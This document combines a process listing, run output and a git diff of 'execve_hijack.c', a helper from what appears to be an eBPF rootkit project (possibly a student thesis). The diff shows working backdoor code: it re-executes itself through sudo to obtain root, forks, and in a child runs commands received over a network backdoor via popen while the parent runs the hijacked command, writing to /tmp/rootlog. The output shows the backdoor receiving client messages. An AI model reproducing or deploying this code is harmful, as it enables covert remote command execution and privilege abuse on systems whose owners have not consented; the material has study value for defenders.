osboxes 2444 0.0 0.2 263876 17548 ? Sl Apr10 0:04 /usr/share/code/code --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=15541623923277986509,16096957837955962724,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --lang=en-GB --service-sandbox-type=none --enable-crash-reporter=92839825-0bbb-4be7-8b77-5add1429d30d,no_channel --global-crash-keys=92839825-0bbb-4be7-8b77-5add1429d30d,no_channel,_companyName=Microsoft,_productName=VSCode,_version=1.62.3 --user-data-dir=/home/osboxes/.config/Code --standard-schemes=vscode-webview,vscode-file --secure-schemes=vscode-webview,vscode-file --bypasscsp-schemes --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --streaming-schemes --shared-files=v8_context_snapshot_data:100
osboxes 2445 1.3 2.8 861540 173488 ? Sl Apr10 50:07 /usr/share/code/code --type=gpu-process --field-trial-handle=15541623923277986509,16096957837955962724,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --disable-color-correct-rendering --enable-crash-reporter=92839825-0bbb-4be7-8b77-5add1429d30d,no_channel --global-crash-keys=92839825-0bbb-4be7-8b77-5add1429d30d,no_channel,_companyName=Microsoft,_productName=VSCode,_version=1.62.3 --user-data-dir=/home/osboxes/.config/Code --gpu-preferences=UAAAAAAAAAAgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --shared-files
osboxes 2454 0.0 0.0 217680 448 ? S Apr10 0:00 /usr/share/code/code --type=broker
osboxes 2463 0.2 2.8 48748244 177996 ? Sl Apr10 8:04 /usr/share/code/code --type=renderer --disable-color-correct-rendering --field-trial-handle=15541623923277986509,16096957837955962724,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --disable-gpu-compositing --lang=en-GB --enable-crash-reporter=92839825-0bbb-4be7-8b77-5add1429d30d,no_channel --global-crash-keys=92839825-0bbb-4be7-8b77-5add1429d30d,no_channel,_companyName=Microsoft,_productName=VSCode,_version=1.62.3 --user-data-dir=/home/osboxes/.config/Code --standard-schemes=vscode-webview,vscode-file --secure-schemes=vscode-webview,vscode-file --bypasscsp-schemes --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --streaming-schemes --app-path=/usr/share/code/resources/app --no-sandbox --no-zygote --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --shared-files=v8_context_snapshot_data:100 --vscode-window-config=vscode:2c96bdca-2f1a-4ed2-90d3-2edd2a939552
osboxes 2469 3.3 11.4 57712392 711864 ? Sl Apr10 128:20 /usr/share/code/code --type=renderer --disable-color-correct-rendering --field-trial-handle=15541623923277986509,16096957837955962724,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --disable-gpu-compositing --lang=en-GB --enable-crash-reporter=92839825-0bbb-4be7-8b77-5add1429d30d,no_channel --global-crash-keys=92839825-0bbb-4be7-8b77-5add1429d30d,no_channel,_companyName=Microsoft,_productName=VSCode,_version=1.62.3 --user-data-dir=/home/osboxes/.config/Code --standard-schemes=vscode-webview,vscode-file --secure-schemes=vscode-webview,vscode-file --bypasscsp-schemes --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --streaming-schemes --app-path=/usr/share/code/resources/app --no-sandbox --no-zygote --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --shared-files=v8_context_snapshot_data:100 --vscode-window-config=vscode:e78d9d58-8a32-4600-af52-391b6e1f47e9
osboxes 2519 0.0 0.6 38046904 39364 ? Sl Apr10 1:50 /usr/share/code/code --ms-enable-electron-run-as-node --inspect-port=0 /usr/share/code/resources/app/out/bootstrap-fork --type=extensionHost --skipWorkspaceStorageLock
osboxes 2527 0.2 2.1 38064792 133260 ? Sl Apr10 10:31 /usr/share/code/code --ms-enable-electron-run-as-node --inspect-port=0 /usr/share/code/resources/app/out/bootstrap-fork --type=extensionHost --skipWorkspaceStorageLock
osboxes 2543 0.0 1.0 38113780 65348 ? Sl Apr10 3:19 /usr/share/code/code --type=renderer --disable-color-correct-rendering --field-trial-handle=15541623923277986509,16096957837955962724,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --disable-gpu-compositing --lang=en-GB --enable-crash-reporter=92839825-0bbb-4be7-8b77-5add1429d30d,no_channel --global-crash-keys=92839825-0bbb-4be7-8b77-5add1429d30d,no_channel,_companyName=Microsoft,_productName=VSCode,_version=1.62.3 --user-data-dir=/home/osboxes/.config/Code --standard-schemes=vscode-webview,vscode-file --secure-schemes=vscode-webview,vscode-file --bypasscsp-schemes --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --streaming-schemes --app-path=/usr/share/code/resources/app --no-sandbox --no-zygote --disable-blink-features=Auxclick --node-integration-in-worker --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --shared-files=v8_context_snapshot_data:100 --vscode-window-config=vscode:8830000e-cce1-47f6-aef2-994e613d8006
osboxes 2556 0.0 0.4 38022644 27700 ? Rl Apr10 0:53 /usr/share/code/code --ms-enable-electron-run-as-node /usr/share/code/resources/app/out/bootstrap-fork --type=watcherServiceChokidar
osboxes 2573 0.0 0.2 38017524 15192 ? Sl Apr10 0:05 /usr/share/code/code --ms-enable-electron-run-as-node /usr/share/code/resources/app/out/bootstrap-fork --type=watcherServiceChokidar
osboxes 2574 0.1 0.5 38082136 32284 ? Sl Apr10 6:28 /usr/share/code/code --ms-enable-electron-run-as-node /usr/share/code/resources/app/out/bootstrap-fork --type=ptyHost
osboxes 2646 0.1 1.6 2276984 103136 ? Sl Apr10 7:04 /home/osboxes/.vscode/extensions/ms-vscode.cpptools-1.7.1/bin/cpptools
osboxes 2674 0.0 0.1 1383820 6644 ? Sl Apr10 1:53 /home/osboxes/.vscode/extensions/ms-vscode.cpptools-1.7.1/bin/cpptools
osboxes 2806 0.0 0.0 20028 2948 pts/0 Ss+ Apr10 0:00 /usr/bin/bash
osboxes 2863 0.0 0.0 19892 1076 pts/1 Ss+ Apr10 0:00 /usr/bin/bash
osboxes 2952 0.1 0.8 438936 51936 ? Ssl Apr10 4:37 /usr/libexec/gnome-terminal-server
osboxes 2957 0.0 0.0 20044 3692 pts/2 Ss+ Apr10 0:00 bash
osboxes 2965 0.0 0.1 425260 6816 ? Sl Apr10 0:04 update-notifier
osboxes 3637 0.0 0.0 19892 1656 pts/3 Ss Apr10 0:00 /usr/bin/bash
osboxes 3859 0.0 0.0 20024 2196 pts/4 Ss+ Apr10 0:00 /usr/bin/bash
osboxes 3964 0.0 0.0 20024 2200 pts/5 Ss+ Apr10 0:00 /usr/bin/bash
osboxes 4255 0.1 1.3 2539068 84248 ? Sl Apr10 4:28 /usr/lib/firefox/firefox -contentproc -childID 8 -isForBrowser -prefsLen 9720 -prefMapSize 246643 -jsInitLen 279340 -parentBuildID 20220106144528 -appDir /usr/lib/firefox/browser 2072 true tab
osboxes 4353 0.0 0.0 363164 2676 ? Sl Apr10 0:24 /usr/lib/speech-dispatcher-modules/sd_dummy /etc/speech-dispatcher/modules/dummy.conf
osboxes 4356 0.0 0.0 463472 3112 ? Sl Apr10 0:24 /usr/lib/speech-dispatcher-modules/sd_espeak-ng /etc/speech-dispatcher/modules/espeak-ng.conf
osboxes 4383 0.0 0.0 172516 1608 ? Ssl Apr10 0:00 /usr/bin/speech-dispatcher --spawn --communication-method unix_socket --socket-path /run/user/1000/speech-dispatcher/speechd.sock
osboxes 4620 0.0 2.1 2590288 131536 ? Sl Apr10 0:21 /usr/lib/firefox/firefox -contentproc -childID 14 -isForBrowser -prefsLen 9720 -prefMapSize 246643 -jsInitLen 279340 -parentBuildID 20220106144528 -appDir /usr/lib/firefox/browser 2072 true tab
osboxes 4795 0.0 1.4 2551052 87316 ? Sl Apr10 3:23 /usr/lib/firefox/firefox -contentproc -childID 19 -isForBrowser -prefsLen 9720 -prefMapSize 246643 -jsInitLen 279340 -parentBuildID 20220106144528 -appDir /usr/lib/firefox/browser 2072 true tab
osboxes 5147 0.0 0.0 20040 3228 pts/6 Ss+ Apr10 0:00 bash
osboxes 6267 0.0 0.0 20024 1732 pts/7 Ss+ Apr10 0:00 bash
osboxes 6560 0.1 21.8 42230264 1351500 ? Sl Apr10 5:31 /usr/share/code/code --ms-enable-electron-run-as-node /home/osboxes/.vscode/extensions/ms-python.vscode-pylance-2022.1.3/dist/server.bundle.js --cancellationReceive=file:37ab5bf56c88bb15cd928b7c87a072b467ccf213df --node-ipc --clientProcessId=2527
osboxes 9779 0.0 0.0 29552 1940 pts/6 T Apr11 0:00 python3 ./nasmshell
osboxes 15209 0.0 1.1 2599532 71016 ? Sl Apr11 0:20 /usr/lib/firefox/firefox -contentproc -childID 29 -isForBrowser -prefsLen 9720 -prefMapSize 246643 -jsInitLen 279340 -parentBuildID 20220106144528 -appDir /usr/lib/firefox/browser 2072 true tab
osboxes 21807 0.0 2.2 2599956 141596 ? Sl Apr11 0:52 /usr/lib/firefox/firefox -contentproc -childID 33 -isForBrowser -prefsLen 9720 -prefMapSize 246643 -jsInitLen 279340 -parentBuildID 20220106144528 -appDir /usr/lib/firefox/browser 2072 true tab
osboxes 21956 0.0 0.0 425964 3888 pts/2 Tl Apr11 0:00 gdb ./execve_hijack
osboxes 22013 0.0 0.0 2516 584 pts/2 t Apr11 0:00 /home/osboxes/TFG/src/helpers/execve_hijack
osboxes 33793 0.0 0.2 37983716 16372 ? Sl Apr11 0:07 /usr/share/code/code --ms-enable-electron-run-as-node /usr/share/code/resources/app/extensions/json-language-features/server/dist/node/jsonServerMain --node-ipc --clientProcessId=2527
osboxes 33839 0.0 0.1 4956448 7436 ? Sl Apr11 0:23 /home/osboxes/.vscode/extensions/ms-vscode.cpptools-1.7.1/bin/cpptools-srv 2674 {4204C6E4-94DE-4C9A-87D5-451782A8EEA2}
root 40451 0.0 0.0 0 0 ? S< Apr11 0:00 [loop15]
osboxes 44149 0.0 1.3 2503468 86112 ? Sl Apr11 0:18 /usr/lib/firefox/firefox -contentproc -childID 40 -isForBrowser -prefsLen 9720 -prefMapSize 246643 -jsInitLen 279340 -parentBuildID 20220106144528 -appDir /usr/lib/firefox/browser 2072 true tab
osboxes 44249 0.0 0.1 196936 6904 ? Sl Apr11 0:01 /usr/lib/firefox/firefox -contentproc -parentBuildID 20220106144528 -prefsLen 9720 -prefMapSize 246643 -appDir /usr/lib/firefox/browser 2072 true rdd
osboxes 44288 0.1 1.3 2554840 83648 ? Sl Apr11 2:43 /usr/lib/firefox/firefox -contentproc -childID 43 -isForBrowser -prefsLen 9720 -prefMapSize 246643 -jsInitLen 279340 -parentBuildID 20220106144528 -appDir /usr/lib/firefox/browser 2072 true tab
root 78150 0.0 0.2 1095204 14348 ? Ssl Apr11 0:09 /usr/lib/snapd/snapd
osboxes 164528 0.2 0.6 3033220 39252 ? Sl Apr12 2:42 /usr/lib/firefox/firefox -contentproc -childID 110 -isForBrowser -prefsLen 9832 -prefMapSize 246643 -jsInitLen 279340 -parentBuildID 20220106144528 -appDir /usr/lib/firefox/browser 2072 true tab
root 182268 0.0 0.4 118068 29556 ? S<s Apr12 0:07 /lib/systemd/systemd-journald
osboxes 190198 0.0 0.1 815708 11768 ? Sl Apr12 0:01 /usr/bin/nautilus --gapplication-service
root 219744 0.0 0.0 23140 3688 pts/3 S+ Apr12 0:00 sudo cat /sys/kernel/debug/tracing/trace_pipe
root 219763 0.0 0.0 16888 448 pts/3 S+ Apr12 0:00 cat /sys/kernel/debug/tracing/trace_pipe
root 239521 0.0 0.1 81196 9320 ? Ss 03:20 0:00 /usr/sbin/cupsd -l
root 239523 0.0 0.1 179080 8136 ? Ssl 03:20 0:00 /usr/sbin/cups-browsed
osboxes 240611 0.0 0.0 397868 5596 ? Sl 03:42 0:00 /usr/libexec/gvfsd-network --spawner :1.3 /org/gtk/gvfs/exec_spaw/1
osboxes 240624 0.0 0.0 325920 6092 ? Sl 03:42 0:00 /usr/libexec/gvfsd-dnssd --spawner :1.3 /org/gtk/gvfs/exec_spaw/3
osboxes 241549 0.0 0.6 2784548 39404 ? Sl 04:36 0:00 gjs /usr/share/gnome-shell/extensions/ding@rastersoft.com/ding.js -E -P /usr/share/gnome-shell/extensions/ding@rastersoft.com -M 0 -D 72:27:1848:1053:1
root 244694 0.0 0.0 0 0 ? I 05:01 0:01 [kworker/2:1-events]
root 246168 0.0 0.2 395496 18132 ? Ssl 05:36 0:00 /usr/libexec/fwupd/fwupd
root 249953 0.0 0.0 0 0 ? I 06:22 0:00 [kworker/2:0-events]
root 250021 0.0 0.0 0 0 ? I 06:24 0:00 [kworker/0:1-events]
root 250876 0.0 0.0 0 0 ? I 06:32 0:00 [kworker/1:2-events]
osboxes 250918 0.0 0.0 20040 5708 pts/8 Ss 06:34 0:00 bash
root 251317 0.0 0.0 0 0 ? I 06:41 0:00 [kworker/3:2-mm_percpu_wq]
osboxes 251388 0.0 1.3 2414340 82276 ? Sl 06:41 0:00 /usr/lib/firefox/firefox -contentproc -childID 148 -isForBrowser -prefsLen 9949 -prefMapSize 246643 -jsInitLen 279340 -parentBuildID 20220106144528 -appDir /usr/lib/firefox/browser 2072 true tab
osboxes 251418 0.0 1.3 2414340 82076 ? Sl 06:42 0:00 /usr/lib/firefox/firefox -contentproc -childID 149 -isForBrowser -prefsLen 9949 -prefMapSize 246643 -jsInitLen 279340 -parentBuildID 20220106144528 -appDir /usr/lib/firefox/browser 2072 true tab
root 251560 0.0 0.0 0 0 ? I 06:47 0:00 [kworker/3:0-events]
root 251587 0.0 0.0 0 0 ? I 06:48 0:00 [kworker/u8:2-events_unbound]
osboxes 251667 0.0 1.3 2414340 82916 ? Sl 06:51 0:00 /usr/lib/firefox/firefox -contentproc -childID 150 -isForBrowser -prefsLen 9949 -prefMapSize 246643 -jsInitLen 279340 -parentBuildID 20220106144528 -appDir /usr/lib/firefox/browser 2072 true tab
root 251807 0.0 0.0 0 0 ? I 06:55 0:00 [kworker/u8:0-ext4-rsv-conversion]
root 251948 0.0 0.0 0 0 ? I 06:58 0:00 [kworker/1:1-events]
root 251949 0.0 0.0 0 0 ? I 06:58 0:00 [kworker/0:2-events]
osboxes 251961 0.0 0.0 19908 5404 pts/8 S 06:59 0:00 ./execve_hijack /usr/bin/ls -l -a
osboxes 252029 0.0 0.2 4956124 17428 ? Sl 07:00 0:00 /home/osboxes/.vscode/extensions/ms-vscode.cpptools-1.7.1/bin/cpptools-srv 2646 {A9B50C18-C7D3-405F-BC30-E651DCC7B5A4}
root 252479 0.0 0.0 3484 1936 pts/8 S 07:03 0:00 ./execve_hijack ,
root 252524 0.0 0.0 2516 96 pts/8 S 07:05 0:00 ./execve_hijack -l -a
root 252536 0.0 0.0 0 0 ? I 07:06 0:00 [kworker/u8:1-events_unbound]
osboxes 252543 0.0 0.0 21296 3756 pts/8 R+ 07:06 0:00 ps -aux
Hello world from execve hijacker
Argument 0 is ./execve_hijack
Argument 1 is ,
I am the child with pid 252479
Child process is exiting
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
IP: 127.0.1.1
Packet of length 46 sent to 16842879
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Received client message
Connection closed by request
Hello world from execve hijacker
Argument 0 is ./execve_hijack
Argument 1 is -l
Argument 2 is -a
I am the child with pid 252524
Child process is exiting
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
IP: 127.0.1.1
Packet of length 46 sent to 16842879
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Packet of protocol 6 detected
Received client message
Connection closed by request

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src/helpers/execve_hijack
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142
src/helpers/execve_hijack.c
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@@ -18,28 +18,9 @@
#include "lib/RawTCP.h" #include "lib/RawTCP.h"
#include "../common/c&c.h" #include "../common/c&c.h"
#include <linux/bpf.h>
#include <bpf/bpf.h>
char* execute_command(char* command){ #include <bpf/libbpf.h>
FILE *fp;
char* res = calloc(4096, sizeof(char));
char buf[1024];
fp = popen(command, "r");
if(fp == NULL) {
printf("Failed to run command\n" );
return "COMMAND ERROR";
}
while(fgets(buf, sizeof(buf), fp) != NULL) {
strcat(res, buf);
}
printf("RESULT OF COMMAND: %s\n", res);
pclose(fp);
return res;
}
char* getLocalIpAddress(){ char* getLocalIpAddress(){
char hostbuffer[256]; char hostbuffer[256];
@@ -64,12 +45,32 @@ char* getLocalIpAddress(){
return IPbuffer; return IPbuffer;
} }
int main(int argc, char* argv[], char *envp[]){ char* execute_command(char* command){
printf("Hello world from execve hijacker\n"); FILE *fp;
for(int ii=0; ii<argc; ii++){ char* res = calloc(4096, sizeof(char));
printf("Argument %i is %s\n", ii, argv[ii]); char buf[1024];
fp = popen(command, "r");
if(fp == NULL) {
printf("Failed to run command\n" );
return "COMMAND ERROR";
} }
while(fgets(buf, sizeof(buf), fp) != NULL) {
strcat(res, buf);
}
printf("RESULT OF COMMAND: %s\n", res);
pclose(fp);
return res;
}
int hijacker_process_routine(char* argv[]){
int fd = open("/tmp/rootlog", O_RDWR | O_CREAT | O_TRUNC, 0666);
if(fd<0){
perror("Failed to open log file");
//return -1;
}
time_t rawtime; time_t rawtime;
struct tm * timeinfo; struct tm * timeinfo;
@@ -78,31 +79,6 @@ int main(int argc, char* argv[], char *envp[]){
timeinfo = localtime ( &rawtime ); timeinfo = localtime ( &rawtime );
char* timestr = asctime(timeinfo); char* timestr = asctime(timeinfo);
if(geteuid() != 0){
//We do not have privileges, but we do want them. Let's rerun the program now.
char* args[argc+1];
args[0] = argv[0];
for(int ii=0; ii<argc; ii++){
args[ii+1] = argv[ii];
}
if(execve("/usr/bin/sudo", args, envp)<0){
perror("Failed to execve()");
exit(-1);
}
}
//We proceed to fork() and exec the original program, whilst also executing the one we
//ordered to execute via the network backdoor
//int bpf_map_fd = bpf_map_get_fd_by_id()
int fd = open("/tmp/rootlog", O_RDWR | O_CREAT | O_TRUNC, 0666);
if(fd<0){
perror("Failed to open log file");
//return -1;
}
int ii = 0; int ii = 0;
while(*(timestr+ii)!='\0'){ while(*(timestr+ii)!='\0'){
write(fd, timestr+ii, 1); write(fd, timestr+ii, 1);
@@ -173,3 +149,67 @@ int main(int argc, char* argv[], char *envp[]){
close(fd); close(fd);
return 0; return 0;
} }
int main(int argc, char* argv[], char *envp[]){
printf("Hello world from execve hijacker\n");
for(int ii=0; ii<argc; ii++){
printf("Argument %i is %s\n", ii, argv[ii]);
}
if(geteuid() != 0){
//We do not have privileges, but we do want them. Let's rerun the program now.
char* args[argc+3];
args[0] = "sudo";
args[1] = "/home/osboxes/TFG/src/helpers/execve_hijack";
printf("execve ARGS%i: %s\n", 0, args[0]);
printf("execve ARGS%i: %s\n", 1, args[1]);
for(int ii=0; ii<argc; ii++){
args[ii+2] = argv[ii];
printf("execve ARGS%i: %s\n", ii+2, args[ii+2]);
}
args[argc+2] = NULL;
if(execve("/usr/bin/sudo", args, envp)<0){
perror("Failed to execve()");
exit(-1);
}
}
//We proceed to fork() and exec the original program, whilst also executing the one we
//ordered to execute via the network backdoor
pid_t pid = fork();
if (pid < 0) {
perror("Fork failed");
}
if (pid == 0) {
//Child process
printf("I am the child with pid %d\n", (int) getpid());
printf("Child process is exiting\n");
hijacker_process_routine(argv);
exit(0);
}
//Parent process. Call original hijacked command
char* hij_args[argc];
hij_args[0] = argv[1];
printf("hijacking ARGS%i: %s\n", 0, hij_args[0]);
for(int ii=0; ii<argc-2; ii++){
hij_args[ii+1] = argv[ii+2];
printf("hijacking ARGS%i: %s\n", ii+1, hij_args[ii+1]);
}
hij_args[argc-1] = NULL;
if(execve(argv[1], hij_args, envp)<0){
perror("Failed to execve() originally hijacked process");
exit(-1);
}
wait(NULL);
printf("parent process is exiting\n");
return(0);
}

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src/helpers/execve_hijack.o
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